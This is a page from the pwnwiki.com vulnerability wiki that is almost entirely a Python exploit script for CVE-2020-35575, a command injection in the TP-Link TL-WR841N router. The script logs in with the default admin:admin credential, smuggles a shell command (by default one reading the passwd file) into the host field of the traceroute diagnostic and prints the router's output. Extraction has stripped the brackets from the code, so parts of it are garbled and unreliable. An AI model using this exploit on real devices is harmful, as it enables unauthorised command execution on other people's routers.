pwnwiki.com
,
影响版本
Version: TL-WR841N 0.9.1 4.0
EXP
# Exploit Title: TP-Link TL-WR841N - Command Injection # Date: 2020-12-13 # Exploit Author: Koh You Liang # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://static.tp-link.com/TL-WR841N(JP)_V13_161028.zip # Version: TL-WR841N 0.9.1 4.0 # Tested on: Windows 10 # CVE : CVE-2020-35575 import requests import sys import time try: _ = sys.argv2 payload = ' '.join(sys.argv1:) except IndexError: try: payload = sys.argv1 except IndexError: print("* Command not specified, using the default `cat etc/passwd=`") payload = 'cat etc/passwd' # Default credentials is admin:admin - replace with your own cookies = { 'Authorization': 'Basic YWRtaW46YWRtaW4=' } headers = { 'Host': '192.168.0.1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko=/20100101 Firefox/84.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'text/plain', 'Content-Length': '197', 'Origin': 'http://192.168.0.1', 'Connection': 'close', 'Referer': 'http://192.168.0.1/mainFrame.htm', } data1 = \ '''TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,00,8\r\nmaxHopCount=20\r\ntimeout=50\r\nnumberOfTries=1\r\nhost="`{}`"\r\ndataBlockSize=64\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\nX_TP_HopSeq=0\r\n'''.format(payload) response1 = requests.post('http://192.168.0.1/cgi?2', headers=headers, cookies=cookies, data=data1, verify=False) print('+ Sending payload...') try: response1.text.splitlines()0 except IndexError: sys.exit('- Cannot get response. Please check your cookie.') if response1.text.splitlines()0 != 'error0': sys.exit('* Router/Firmware is not vulnerable.') data2 = 'ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,00,0\r\n' response2 = requests.post('http://192.168.0.1/cgi?7', headers=headers, cookies=cookies, data=data2, verify=False) print('+ Receiving response from router...') time.sleep(0.8) # Buffer time for traceroute to succeed data3 = '''TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,00,3\r\ndiagnosticsState\r\nX_TP_HopSeq\r\nX_TP_Result\r\n''' response3 = requests.post('http://192.168.0.1/cgi?1', headers=headers, cookies=cookies, data=data3, verify=False) if '=:' in response3.text.splitlines()3: print('- Command not supported.') else: print('+ Exploit successful!') for line_number, line in enumerate(response3.text.splitlines()): try: if line_number == 3: print(line12:) if line_number > 3 and line != 'error0': print(line) if 'not known' in line: break except IndexError: break
免费、自由、人人可编辑的漏洞库--PwnWiki.com